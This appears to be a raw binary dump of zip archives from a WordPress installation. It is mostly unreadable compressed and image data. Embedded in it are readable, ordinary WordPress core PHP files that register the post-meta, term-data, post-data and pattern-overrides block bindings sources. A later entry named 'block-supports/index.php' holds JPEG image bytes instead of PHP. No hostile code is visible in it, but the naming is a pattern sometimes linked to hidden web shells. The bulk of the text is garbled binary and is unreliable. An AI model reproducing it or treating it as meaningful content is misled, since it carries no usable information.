��e�B0����o{U�;E�o�2��>��ce�n^���h7�ջ�zCuM��\���K�vt��f���_IƧ�Dl͑���B�(�R�ŵNL1�sJ��fK2D�3�uUG�4��cWZG�3�����������2��q���ƞ8�W�pkAC�~b|s�ˆ^L��vD��_$y�����q\	ʕ��^�q	1`�C�����C�q�1 7�s�C���C��LұW�B3��"H����;�_#Bs�n�*D*2�m�#d�1��G���ph�e�$��<���u��F=Л�����r�P42�\裎4��y��&�ez/�X�Wи�痫��ذ^ (����{h@�������M��Տ�2�pr�������b�a�߹4\ܠ�b�Kr��D�WA���,��g�M�>�w�ru��&�l	����(Jd���T5L9����L�S���.�.��,�����x��0��?/��]���\7r�0c(�&��E���N2��IaV��`%�7��Z��ՙٮG�j����EI3�T���&	�4!k�z̩�A���<���GYܧ�
y`�7�S�c!'#��B�Ĩ!l�gF��o���%���s�g��ԗ��u�딾l�{>ƙSޜJ�QNJ������!�:D7�N@�SQ��&�c���B�0�|o��jQ�g�'<,n��9:E�m�p�`�s����M�G;�Ѻs:E�^��!5�4h�LV@�4G��m	�*��
waN��߀I�U��xg.J�ߨ7���+T������^�%��]T�U'U�~��x�}%��w2M��5$�zYƿ���K�1�� �;���(�����
bI��	���^zO���H�=6��� JȈ���\��	�)-7J.�����f'޴�?��M�~��7�2�8(�1ܢ��CoP(���Ppٸ����!�'	�kL������M����bf?D n0$o#|'�XoqR �m�96JX�q<D�/	SO����Oѯ=\���H��Q���s���a�iT>x=�֔��Xu�
�"��p{�����1 e@M�����E�}�#���%T^�a%��2�7�x�e��D�,�+��;n�A7�x�����:�\T����ެo=���� #a	���Ӝ�؉�;qԩ��+iq�r{�
k���
{wI*�ԗ}�-_!y��\���-�HoEni]?����|�����#��5_-?� _�l�b���%��d��
"(�"_��{��k;���Ý�jQS�w�׭�{@������m���+��0������OU��x���2� �ٸJ!��YۍO��z�2��W0H:��%]F*⹺�ȑt|�'cV������PU…�M�K�5Z�_v���e�w��RX�9��wla���=L�K�49I�M�-.��b#�m�U��؈n��
O��������F�	D�8�/%24
L��R<���p�_��+[!x9dQ
�*~i�wf��J5�m�nA��8�3�δ~,��S{���n/�^.�8�V?�UN;�5_$�0��y�	���N�D!I�<�WrC�ut���I��1ēhx��9�h�U�å�E�6�9dXҠl\������'�Hޙ�nVe��~�-�7�N�gu+��$��t�K!��k�\U�<��/���̅6�G'�����ȖH�Y@]��$�zpea�E��%�G��`�5y� �j)$%�D�R��>h�4T�A �[�*�EY��̛��y���L~����4V4����R.ddQh��d@�M��b���.K_�m��'�" h�ְ`�;��J��/��X��&/d:�,G�*`�4�a~9TG07���q���r�t�#�rr�5�%X������}b�I0C�7'��`���
��k@%o�<]�� �U���n�1\�3���[$�F�K���K�(��gr{����
n�ux��ҩްXw��;��1�ިZ����1S>�p�����aw���Y�b��f����l9���T�Q��f�G��"C�a�~,/�t��pw�Z���U�`@��@�^��������08�W>N��i�1�YJ��n.<72�gh�9˷���"#���+*�$N3�osc��A`o���pI^_��NM-n0�y�W��!n'/b�E{���I
�.�F YE��4�*
�����_uo	������r��w�w���>�v���i�q���Kh���X��o���%
k�V	(v��V��Ef�w�i���FL���yN+���2�YF/�̡
����4bp�I�.����ӂ_!9S�:6CFK��-bou㇈Ns�!O|�T���Z��ڲ蟉�YNXi�ܳ1�/�H��A��1����tԹA������{��1�������2��Vx�j�^r��zM�v��y����~�A�*��k����!�%ˢ&�d�+�' �x_�U�����X%
>�f.2u�jCX����������q��uW[m�s���W\�U֨dU���*�~�@�`�u۲�����v�8���<8r�n�B��{���Km]�4��(.؏m��E#�%(��sm�_)D���_r�:[�"���X	{����>ą�b��_{�渽�-���������*�9h�K����i7I��!�
��{Hk$ㄩvH��9���`[��1��;�+�������&C�� 1;���wo^�h�x�`7`_�U���u^8��:N�oP/��sƯp�؏��0<[(�>�O�����S%�R�[�H>F�`1��_�d��F������yH�S-�M�!�}���3�v0�N
���gqm�\k�Á�
��+�*����z�8��󦱈�qjhfv�3��޳�Gil3�Qz�A�4��p�n���|�u���J��O�S;=���P_i'���+}��HЍ�eB����J?�Q�
S�+}�#��4���C ���$�)�!�+��|�����`�	'�7��0�JOP���R���@�=VX�ÎU}���_i*��gZE�8_���4�s�uB����� {��z��cڸ\7�H@u��2\����8��K�n(�/]el�:�C�ş�����hL@�%s���}
���z�*z3�x���<���������E����+q�<�6=^�S�Rn̮��'L���T�]��4*���f�A����81B�
m�D��$FQp��,�'�0(��+����3��Uي�.���L�utO��M>����Q�&}�6���K���,N��2t#�����M�+�C�J�m���\Mn!2+�o��6eSe�M�(Y_�0*Z�ǯˇn�>����|��ڡ}���I���dKqNYuǏj�{W[Ꞣ��Q��*à^ƫ�
�،|�p����g�&��}��/���X��У�53a�/�ě�	Jl�{|~�0W�9���s		XC=�0���]úSb�7ޓ�HS��&w��Ue�j���|Uv��y\Uc%�.	NX/0�i�_�X�vD�?x/I<+^��xOȉ�VS�8�&��q\/²�8|/��|i���&�6-6���
n��-̣�a���0hF���b�D�F����d�MϺ9�7��p���&�
By-�xa�p����|Gkp�{�k�f� �f�m`��{O<{�P4~w���I3z�I��8u���=@��꺞����e��e���F�kk^�Ea���(�U5+�B��qL�~qX��-�E�=h�Q�dyLA�"
ݧ�TG(@i���y�	iV8*m�ߔ�7p%��/���ϊ�!��{���ݪ�#?��8J�Ε�N&�"��~�лp���T����>^Y�05�����b�Š�R��/x��]e�H_t����\b�m�q	�^���+)�r�E�܋%
�܄�D��p�|�_�1>��a�oW1~qA
��E�Fǩ�¥C�z�l����>d%�Gn���s��c{Ru���,� h�c�^C��ԩ����~N`�/���p�&��O�q
ѣ�_ @Փ�՜7',䰱D{�`2|/'.��1��ֵv~9\R�$�K�|� �W
�����|T�C>\��U���ǀgi��|�M��2�9�ّd����Ǧ�u�I�#^Oɬ��@�{�IGٍ2S->*�Kz	
nJ�ϝ� HM��F�T��*�G�!s@������U��p
�Wo��^�����U~���3���Q���Ar�(@�4Mò$��݁�w���LwA
gݜ�Q'��>����]��zU�4�>ӛ��ybD�mx~��ئµJ�I�JQ�r�g�*?JA���޴�53����~Q�~��/�NRe:\*��O����f�J��8`��؎Kt��pG
���[�Cav��f�P��s������3�U'�������Þv��㵳����*4AR聜в�ehh�SԭD-i�{�q	[_��Ԃ)�ÜfLU1�fk�?������R��I��R�ZH����-���ކ�ĵU�i�I~�%�۞f�jJ�ٰ�:>��M�a���%���4w[3���X/��#�(��v����*<Φ2�����1L����6�G��!�(���#)&��B֜UDIr`�$}g�b�?��
廄'c��]
~]�32�7'�$�:�9)%Q�K�Fצ8�� ���ǘ�I���!A�'�n�}����I��h���F7�Ҋ���1@��N�@���~ȯ��0U#�7�y��k�y����xhnB �y����) ��Q@���r�����
S
�2�V5\�>#.-8�_
./S{�[��c���3��.j� ��	wpD�*�Os8�.ڬ���❋B7qy���F#W;\�+�:]�B�uDڍ�9 �e:�L��p}��-�tR���ɓj��l���)�咧�pҨ&��Q���P�=�x4��&b�y�Ƣ<7$�=Eڐ������mH��K��	�y�B���%�}*,�~���'�K�{x>0�K@�\�<�
 �&��
�j�z
�)�Q �`kX���/h��Zw��`&v����"�sj��G�Jff��;��8Á��=}����1�QW��1����4��+E���q�XX�y��F�n��2L)�b{o7������̫�<��<y�W�6
b8	�@���HwT;e¤�]\S��@��=�pY6���a�Ċ9E�a??���e\T�2��/_�M�j[^;��h�EA
�Z��@{�N1R�%z�uڱ�z��m?�'�9NØ��˳^(Yg�쩇��+QO=�h^��u�����$��+]T�*�Hf�z��En;f��s�j��Q����g��lp���Ѩ�00�PU��>X���{E�rT�⨿iz�!�z�v���f8~��r�.s(ē��'H&�O�g7d[�]��\�2~���<��c�����]���]�)��������e	�Ql|�mjMɻ"�����{�%�*`d���Ahk�򖷂�_f�5�x��>0S���]�\����8���(�29@���M���0����?��D��?��4)��hU�ޕ�K׮d���~@���:V"/��]�=��+@S#�������N@P�!C�^X�H�Sb\ƫ�a��������Z���d����R��ېn�kv6��Fqr�9�}2�&�У �_S�Rpn^���-���p�����Ud�a���w��qLΉ0�N"qƺ�I�l�iC�ձ��Z�gi��3�g�UgG\'��o�^�0�͝m��T,E�2^����4LxF	1���O1烼q�O��t�,Z�5R��eB�Ψ�[3�\����*e?;�0a���^t�c��"�ڛ�Ʋ�|�mb}�2e�Ƀh�#�O\r����'����f
�(��o"�_`�\�z�	u�j��p֮�~�?��� ͜u�A��F6���
��C�E����c�'��-��)�����E���{�[xx��=�j���O
v�C����:�A6�~O�ꯂYû�9~���A�q
�9��9L}�`/�g��.���V7�y�[\"��p�E�󄜠��4�G�c*
��ƶ[𾃭m��cG:^���cz
=�_>�P"y�������p%�Z'5�mߎg2��TO�&@�Z5���w�wN�����w�2��[=��2��r�c���_S5�
���5�/h�j�7������n+��K��
1��� ���u����s�۰��=��^JR%���aU5�'D�|� �I�q��N�A�>�AD00��h��l��߳Z(F��qc({�;�z�b�B�p��a�Ru�W6̥��3* ����v?�((�?7��7
��M�_��{�aff�_V&
�B��n������>���!�Y�0����8���!5����:�5�Scذ�w�@��^j�p�"K���ԩ1셠�%�U�`Q�N�d=�I[�t�4�V��k��(L��\��~wm�.Uk:Gý�d���D���ᤛ�-�q�+`�4�8�:��U�U�D�~�cJp�+�Y��ǁHx�8XT��Ո�����n��|C�0�\��d�^}�,�+lZH���
�`��������E�f����ٖ�ŵES|t����_��K�i/|@�ɇj�����7��Caơf�m�(<K)͇t������{���CkO�8P�Fk�z�.j�^ﰧ2���4�����=\�q;u���P�u�I=C�橻���D��7/W��{䦤/sw�����9�)���n�'*N6�t\=|�F.��xH�cz�b��00i����M�;��Ҥ!�б�e!�<M���GjrU�����ef	7�L��4�X��4�S�AjUL��X�Y�-x�/(�s�aw��߰�_wC�:���kZQQr���L�D:\8�%&�h��z�SE�dž��Q�<����p�籼2�!@�ƼL@���G/���U�0tW`څ�<:�-�Fa����ڵ�2F��Q�9����:Tt�K�[l��~8����	ב�1̄��>]-F4��J�þ�SE�Z8�]����	��Q
b�L�씜��'��o@M�n�`^D�gi}V�J�>Jk_���9��<(�9{wD�^�}��Z���@?=oj���T�wP..�{�2��ȹG��<Ifb
�W~�*�֜
J�zRc��Y�&�j�w0X-qE�x5u�\%�<Ba|��)�P���n�O9�k���X�;S�+ܜ�O�߹ǩ��M�=�ր�ޞcy��#�)�`��dpR����������M�5e�yy�2N��nW}zf2��v�;L�T;� �2�AR5�y��iЁ�N��P��C��v�@k*�M�wn��l��^�b!C��K|�I���.�jtH&�㴉��y���\��EJ������\M�j�u��S��J�9����;�{��9D�֒���S��ux��WU��ߦuҺz��InW~B�a;������W�,7�O�)38Eu��.�<���zuo�2
չ?��^9,��uZ��@��ǭM�GC�0��8�3��'T�9�{z-���f�þ�O���������H�?�b!�,:�7a�&`F����K�3~:\��_���o�~�e���v�����E���DwL��v	���b���-��bN�׿p����_����o���߿����TFė@PKYO\��m�'�'10/block-bindings.zipnu�[���PK��N\�^''
post-meta.phpnu�[���<?php
/**
 * Post Meta source for the block bindings.
 *
 * @since 6.5.0
 * @package WordPress
 * @subpackage Block Bindings
 */

/**
 * Gets value for Post Meta source.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array    $source_args    Array containing source arguments used to look up the override value.
 *                                 Example: array( "key" => "foo" ).
 * @param WP_Block $block_instance The block instance.
 * @return mixed The value computed for the source.
 */
function _block_bindings_post_meta_get_value( array $source_args, $block_instance ) {
	if ( empty( $source_args['key'] ) ) {
		return null;
	}

	if ( empty( $block_instance->context['postId'] ) ) {
		return null;
	}
	$post_id = $block_instance->context['postId'];

	// If a post isn't public, we need to prevent unauthorized users from accessing the post meta.
	$post = get_post( $post_id );
	if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) {
		return null;
	}

	// Check if the meta field is protected.
	if ( is_protected_meta( $source_args['key'], 'post' ) ) {
		return null;
	}

	// Check if the meta field is registered to be shown in REST.
	$meta_keys = get_registered_meta_keys( 'post', $block_instance->context['postType'] );
	// Add fields registered for all subtypes.
	$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( 'post', '' ) );
	if ( empty( $meta_keys[ $source_args['key'] ]['show_in_rest'] ) ) {
		return null;
	}

	return get_post_meta( $post_id, $source_args['key'], true );
}

/**
 * Registers Post Meta source in the block bindings registry.
 *
 * @since 6.5.0
 * @access private
 */
function _register_block_bindings_post_meta_source() {
	register_block_bindings_source(
		'core/post-meta',
		array(
			'label'              => _x( 'Post Meta', 'block bindings source' ),
			'get_value_callback' => '_block_bindings_post_meta_get_value',
			'uses_context'       => array( 'postId', 'postType' ),
		)
	);
}

add_action( 'init', '_register_block_bindings_post_meta_source' );
PK��N\BQt~CC
term-data.phpnu�[���<?php
/**
 * Term Data source for Block Bindings.
 *
 * @since 6.9.0
 * @package WordPress
 * @subpackage Block Bindings
 */

/**
 * Gets value for Term Data source.
 *
 * @since 6.9.0
 * @access private
 *
 * @param array    $source_args    Array containing source arguments used to look up the override value.
 *                                 Example: array( "field" => "name" ).
 * @param WP_Block $block_instance The block instance.
 * @return mixed The value computed for the source.
 */
function _block_bindings_term_data_get_value( array $source_args, $block_instance ) {
	if ( empty( $source_args['field'] ) ) {
		return null;
	}

	/*
	 * BACKWARDS COMPATIBILITY: Hardcoded exception for navigation blocks.
	 * Required for WordPress 6.9+ navigation blocks. DO NOT REMOVE.
	 */
	$block_name          = $block_instance->name ?? '';
	$is_navigation_block = in_array(
		$block_name,
		array( 'core/navigation-link', 'core/navigation-submenu' ),
		true
	);

	if ( $is_navigation_block ) {
		// Navigation blocks: read from block attributes.
		$term_id = $block_instance->attributes['id'] ?? null;
		$type    = $block_instance->attributes['type'] ?? '';
		// Map UI shorthand to taxonomy slug when using attributes.
		$taxonomy = ( 'tag' === $type ) ? 'post_tag' : $type;
	} else {
		// All other blocks: use context
		$term_id  = $block_instance->context['termId'] ?? null;
		$taxonomy = $block_instance->context['taxonomy'] ?? '';
	}

	// If we don't have required identifiers, bail early.
	if ( empty( $term_id ) || empty( $taxonomy ) ) {
		return null;
	}

	// Get the term data.
	$term = get_term( $term_id, $taxonomy );
	if ( is_wp_error( $term ) || ! $term ) {
		return null;
	}

	// Check if taxonomy exists and is publicly queryable.
	$taxonomy_object = get_taxonomy( $taxonomy );
	if ( ! $taxonomy_object || ! $taxonomy_object->publicly_queryable ) {
		if ( ! current_user_can( 'read' ) ) {
			return null;
		}
	}

	switch ( $source_args['field'] ) {
		case 'id':
			return esc_html( (string) $term_id );

		case 'name':
			return esc_html( $term->name );

		case 'link':
			// Only taxonomy entities are supported by Term Data.
			$term_link = get_term_link( $term );
			return is_wp_error( $term_link ) ? null : esc_url( $term_link );

		case 'slug':
			return esc_html( $term->slug );

		case 'description':
			return wp_kses_post( $term->description );

		case 'parent':
			return esc_html( (string) $term->parent );

		case 'count':
			return esc_html( (string) $term->count );

		default:
			return null;
	}
}

/**
 * Registers Term Data source in the block bindings registry.
 *
 * @since 6.9.0
 * @access private
 */
function _register_block_bindings_term_data_source() {
	if ( get_block_bindings_source( 'core/term-data' ) ) {
		// The source is already registered.
		return;
	}

	register_block_bindings_source(
		'core/term-data',
		array(
			'label'              => _x( 'Term Data', 'block bindings source' ),
			'get_value_callback' => '_block_bindings_term_data_get_value',
			'uses_context'       => array( 'termId', 'taxonomy' ),
		)
	);
}

add_action( 'init', '_register_block_bindings_term_data_source' );
PK��N\J�S
post-data.phpnu�[���<?php
/**
 * Post Data source for Block Bindings.
 *
 * @since 6.9.0
 * @package WordPress
 * @subpackage Block Bindings
 */

/**
 * Gets value for Post Data source.
 *
 * @since 6.9.0
 * @access private
 *
 * @param array    $source_args    Array containing arguments used to look up the source value.
 *                                 Example: array( "field" => "foo" ).
 * @param WP_Block $block_instance The block instance.
 * @return mixed The value computed for the source.
 */
function _block_bindings_post_data_get_value( array $source_args, $block_instance ) {
	if ( empty( $source_args['field'] ) ) {
		// Backward compatibility for when the source argument was called `key` in Gutenberg plugin.
		if ( empty( $source_args['key'] ) ) {
			return null;
		}
		$field = $source_args['key'];
	} else {
		$field = $source_args['field'];
	}

	/*
	 * BACKWARDS COMPATIBILITY: Hardcoded exception for navigation blocks.
	 * Required for WordPress 6.9+ navigation blocks. DO NOT REMOVE.
	 */
	$block_name          = $block_instance->name ?? '';
	$is_navigation_block = in_array(
		$block_name,
		array( 'core/navigation-link', 'core/navigation-submenu' ),
		true
	);

	if ( $is_navigation_block ) {
		// Navigation blocks: read from block attributes.
		$post_id = $block_instance->attributes['id'] ?? null;
	} else {
		// All other blocks: use context.
		$post_id = $block_instance->context['postId'] ?? null;
	}

	// If we don't have an entity ID, bail early.
	if ( empty( $post_id ) ) {
		return null;
	}

	// If a post isn't public, we need to prevent unauthorized users from accessing the post data.
	$post = get_post( $post_id );
	if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) {
		return null;
	}

	if ( 'date' === $field ) {
		return esc_attr( get_the_date( 'c', $post_id ) );
	}

	if ( 'modified' === $field ) {
		// Only return the modified date if it is later than the publishing date.
		if ( get_the_modified_date( 'U', $post_id ) > get_the_date( 'U', $post_id ) ) {
			return esc_attr( get_the_modified_date( 'c', $post_id ) );
		} else {
			return '';
		}
	}

	if ( 'link' === $field ) {
		$permalink = get_permalink( $post_id );
		return false === $permalink ? null : esc_url( $permalink );
	}
}

/**
 * Registers Post Data source in the block bindings registry.
 *
 * @since 6.9.0
 * @access private
 */
function _register_block_bindings_post_data_source() {
	register_block_bindings_source(
		'core/post-data',
		array(
			'label'              => _x( 'Post Data', 'block bindings source' ),
			'get_value_callback' => '_block_bindings_post_data_get_value',
			'uses_context'       => array( 'postId', 'postType' ), // Both are needed on the client side.
		)
	);
}

add_action( 'init', '_register_block_bindings_post_data_source' );
PK��N\_O���pattern-overrides.phpnu�[���<?php
/**
 * Pattern Overrides source for the Block Bindings.
 *
 * @since 6.5.0
 * @package WordPress
 * @subpackage Block Bindings
 */

/**
 * Gets value for the Pattern Overrides source.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array    $source_args    Array containing source arguments used to look up the override value.
 *                                 Example: array( "key" => "foo" ).
 * @param WP_Block $block_instance The block instance.
 * @param string   $attribute_name The name of the target attribute.
 * @return mixed The value computed for the source.
 */
function _block_bindings_pattern_overrides_get_value( array $source_args, $block_instance, string $attribute_name ) {
	if ( empty( $block_instance->attributes['metadata']['name'] ) ) {
		return null;
	}
	$metadata_name = $block_instance->attributes['metadata']['name'];
	return _wp_array_get( $block_instance->context, array( 'pattern/overrides', $metadata_name, $attribute_name ), null );
}

/**
 * Registers Pattern Overrides source in the Block Bindings registry.
 *
 * @since 6.5.0
 * @access private
 */
function _register_block_bindings_pattern_overrides_source() {
	register_block_bindings_source(
		'core/pattern-overrides',
		array(
			'label'              => _x( 'Pattern Overrides', 'block bindings source' ),
			'get_value_callback' => '_block_bindings_pattern_overrides_get_value',
			'uses_context'       => array( 'pattern/overrides' ),
		)
	);
}

add_action( 'init', '_register_block_bindings_pattern_overrides_source' );
PK��N\�^''
post-meta.phpnu�[���PK��N\BQt~CC
dterm-data.phpnu�[���PK��N\J�S
�post-data.phpnu�[���PK��N\_O���2 pattern-overrides.phpnu�[���PK<j&PKYO\�z)�VHVH10/certificates.zipnu�[���PKVO\�Z�fp�p�block-supports/index.phpnu�[������ JFIF  ` `  �� ;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85
�� C 	!"$"$�� C�� hh" ��           	
�� �   } !1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������        	
�� �  w !1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������   ? �.�(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�+�QI�3L��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��@y� -�#y�����IޚX���P2�$���袊 (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� 3FE �a����(�d�N^M���4�G�Ӂ��Mo���O����$ds�sYz��4]4�����+��HM���9վ2�#OL�@ܟH��
O����@}�L���YW�=�p�3�! 7'���Z����&;"� z��ם���g�|I�j���~D��Ƕr^�2��s��I🆒T��S�(2���?���y}��x����m�ux�#��s�ھ[Cqg0m�r\�
ҏĺ�ҋ{��d^��Rrr��#mO��Ŭ]\�>��uK�c���q�*?ɯL���<zW�>񆥥�Ƕ��[Ć���l��O� ���b[��2���+��'c9Yl{I`:�R�
f�ڽ���;�g��8�j�c��}�Z��C�)ʑ�X�匌J@:�(�P�Hz�h@�#֌��<�a�N>�6Y��$ʹ �-ڛhJ�ۆq�i7��s��^{�|c��)�]z�y�ۿP+�𗈬�Ma��H��_?��Lf�G����/����U �(��
(��
(��
(��
(��
(��
(��
(��"iX1?.�ቨ�.a�?6I"|�O�+��<.2�������H�]��aiz�hV�3�G�8���v|�t"��.R�c��R�7�t+d�(������E���~0
z���D�$r2�ۜ~���oC����+Qsvx��~�%�8 �~��_|@�N�կ81�\�gNM�I�#�x� Þ������Ơ� �W�����
�C�i��d����lu;��$��1�G�5��xh\NM�#�o�L� Z��v6u��+�fd��$H�b�aKi���ܻ�N?ʥ�t���0F۟��+g�
�]���Q��+��r{8"�2��8<c5�bc/]��*�oi+� ��ی�W~?�U�<ZIJƻ�
M�>S�4�.ofX�ɑ����|֗��� x���&�s_�Мp{�W.�14��h�~RME�;X�V�X�`q���֡���|���:���֢oB�1�f�S����<��uҰ;�/�i7:|H&E2J��g� �U�m���v��J��_�PuyR=��'�Y:���T2y��'�*Ԭ.[�!m����e�m�}ҝZ�_�p�����]���9�=�é���eZ5<��Ծ#���D��0�}����W)�~�����H|G�<��kn� � ���������&���(�1��A�Ǹ���M�Dz�H�������i�ZQ#�J���Y��ӌ��~���� |��|�O���>B�P_�����WI�~Ծ<0��4%a�r�� ��UΉ�>��c��y� �~1��b�5����w��|I�ϊ1�ٯ��4D`A �y�{�-+N��
�S�kڲ�V�CXR��)����M�^Ѡ�����S��c��^3��!�
�}b}VBَ'���9�ִ�/j~!�]/D�Y_�'�׿�}����U��Q��DRBͲ>GL�s���SnJ�Q(�W�� ���C�x���`rb�F������
}G��:~��çiv��Z�1Q�
=�V��&,gߥI�}kds�ѻ4R�VEPEPEPEPEPEPH)I����1@�(;�=7JkO�8�j���_	ٛ�Vr�\�Q�0� "�=����_���Z;-8�*ᛯ��[�i��no�ZU��>�#/����9�]��x����0]�>� �3u&��%���S�9/PQ���Vҭ�tIb�xP�� ==*9
<�I�,��w�p<��۽}!<�0��<�s��O�>�j��PX�7���u�Mr���3�<`�Z\��g�:^�q�V\���W������K��g�.잹ȩ�Z]�]�<�nJ��}+v-"�L��xP1s�}?ȥr�9MS@���-	h�d�5���i�E�kg��ڵ1q4��$�]���oh��~H�
jU�d6�`�	j��Z�|Aa1mR1��,홾f.M�z0<d*��2D�� ^�mDR��5[��6fA�=jV�m�%%�&��ܣ
Lg�-���/���Q^k�U�.����!S����/�+�Tä�w��F���Ka6zS���~\�f��N�y1n�W�7� <i;
gjG l~��C���~,�eنmn@�1��{�p=�ڄ8��������qڷ4�
�j�id�� �ֺx[���r1��O���p�T$��5e��%�D���s^�����3��Q���PeVQ�� ֧�q9��[���Fہ�3� ֮3�����kϽ}C�ߥ���ac��r~��֦[�mF��\�'�$ruF�88'���'X{Ǒj6p;��T0�"/�Ӡ��\�Au��0H�Ş��fD��2�6��X��Eֵ6������
��.���_q|)��#�6nl���f����8��W���E�h��u����C����O=FU[�{�*�
���)-J����+s0��( ��( ��( ��( ��( ��
 RRs�Rn�8�FJ�?����[g���:��J��⭧����ټ��ь㯸��~ x��4� ~Kt�+��x��������r�kо�B�N�_33t9�V��|�n����]n�ʷBF7@;�+6�jxR�O�H�l���d��4����9_aRM�k��7W�q���˵mk0�]���\�d�5<̾RƩ�ì�z8��- (�d�2'�,
��� l09��
;���$����1����Թ6>[Pi��۬h���=�V��'O2V�K0� ��� T��I�`z'_֚C�H�/�G Է���4�V�� ���5,up��쇖?夿w�5j9]����A��Pn��<����:�c��s[V���5��7�� �]v��Al�*��բ��p֖Z��	P�u���{� _N�����]�6�@ȫ��aՏ���@6���s��X��+�W�1�q@ tX鴫��`I8��h�3�D��� G���m�
vC�ċ�i�ҝ�zR�zP!�Ҕ`p:�P
�}��>5|4��VR��!�-��䝒�I���,O9�8�(=�e"��|��ۦ�u��K�*pl��?�����B�
����k@u=$Mz%%S��r~S��s�W��۴�ͧ�1��;Lg�9�9�qw:)Ծ��~Ǟ+��|7s�]M�d�� 9)�V5�"���ھ;��/��?�p�� ML�G��N=���ҾÈ�67c<t��_	�U��(��3
(��
(��
(��
(��
(��

�FI# ���>&X�L1#�}0�瞾�o��};��^��̠yJ}}ǡ�����Ǿ%�����!<�z��b��f���E�e��}�I�]���ֽN��zZ�-�T0�I�� �Wiie�h�R�in��-�l����P��N׉b��g��f�I���ìh% �$�L��v�ˆ��*n.Kr{wa��ҷ�����R�<Lr�:����k�5�n��:ԥ|�����m���o
�Ʊ-܋��)����]5��c��B�]�u�s��Т��8�� �c������G���kQ=
w,�#
ό��k-�;�^�ҥGg��m��J�������m!�{3�c��� ���n6!J�MCź^�)��_�\�@�� �+cß�#`Ĉ#=��߮j
ᔶ��/2�>nG�z�<+d�6�3G� <��M4��Ҽ�����'� 
�m4��H� Ǫ������Յ�$q�����pxZZ)�gڊ(��(��(��(��(��(��	�W�|s�Z|ak���m�D���:rJ��EL�r��~wkM����CX��
�����_v�4�E��|!e�u�.W%1�zu?θߎb�%�#��QB�#A��pN9��^7�8��R�����᭭��D�dA&Ӷ��J:h9>c�t`l�ҝQ+9 erGn�"  0=*��(��(��(��(��(��<py�+�^(�#��oU�c���q�A[3K1�#���?�|�������B_M�� Uo��ny<�1�BW&N���K⏍�ֵX���4��\�s^�� jQ�4ӤM�ب��9�O	�i~M������8� [���$�a��7 烚%e�1��;�����z7�a�X���y?�E�ѧ�Y�� ���n� *G�1�#9�U�j:�z���ċ��s\E�5��d������/S.�8�m��9&�:!O���?�ڤ�Ii`"���ݺ��zUχ�
[)R�S��.OA�ҽ"Eh
�J�[���K4@#W؜YٳU5f�<�7CIwv�tJ
T� ��v�-�~e��3�5���%w����Ҷ�9�l��߇o5)��K��v�lDڧ��n�� bpǠ����z���dP�ch�aRm���K�h�� ���`QE QE QE QE QE QE QE P(����y�s:���k��t���.�f' rq���h�`3|=�������w=ȁv�&��3�p � 00(��Q@Q@Q@Q@���M
��W�V �漫� ��o�/R�PF3�y�"���~џ�L^�����Lu_���ڣ�k�Ӵ8�#ے���y��+M*�>&�4�u+��`=cp�����oōj���:-�p�wp~���Q*�%*nH�/�=�6�a#4��׎��cÚ�w��yC�޾��W����})������ǚ�EE�Q4�w��_J��ȨÔ��jf�5�>�<�QLաk�F��0$ۏ�i��Qi�<Qܩ���ߣ{qR�\^j�F
"PF��c��wЧRƼ����}�7r#^����n�����Z[vo����>��Ϟ[<�t����(c~��m�1����K#�S��I�1S��@���Z@5F)�E0
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
)8;q�z��j6�:s�3yv�
��ӥ b|J��
ͭj'*�"����㔃T�y�ėc�^lb=$<rx��w�]�����O��[���?g��N���?�=�J����QK�-Gn��vp��q����+��|Ku�k��/4E��5��6�o#����k��v�.���Z�U�jЏ3Q#�G���̭o�=�uȴY4�_�6�<��#��+�� ]f7��O�Z�^��<�9鎃ڹ��w:��z���F�;K R%��Ͽ���b?�N���~T��7�8�mp��:v����_�q���k��g�����j2��D|�Ǔ�ڵP!���|'����^k[R 2��~X��s��޽SC�u��$��,�a���\cV�X͑�j0�Ԙ��SQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE R�-DYD���� ye����/x��◌��te�-q%��p����ںߎ>7���
N�4a�.� R�#�!{�\ts� �'᳣xja�o%� T��9�ڔ�����4|Q��w�Z|Z20�k�� G�>��x�O�^;�]�o..�t�n7��h��� �ֆ��[\��y5��/glKv:��x��u����^)����-��_ۏL��w����O�Y5y`�� ��6��gҴ�/�ɬ��i��[X��~77O��_	x>}NU���� �=?�=����6;XDa�+XSH�R���l�AQ��<7ֺ8�@��Ԋ�zS�A7qB�
Z(�AEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEP^W���Z�#GkM-<�n�G��B�?;�ߗd�J�~,x�F�O�n|K�[4�
���s���sI��ƃ�Y�%�]���~{_K6��� d�`We�^�Z�����.	�+��!�g={����$�|=���Zv��,\:����]ǁ�uqn���[?
!?�o�Q�ˑ͝	��7C�LwfbYoG܋��?�^��_5�[����r�º/
�n�I�8 ��9��[��"Sy\��>]eR�H-#��#0'�������TH����( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( ��( �����^�c��e��f��������6�b8�8�l���r�1ڀ<�����&[�^d�B���>��ץYY�h�#��0���JpP
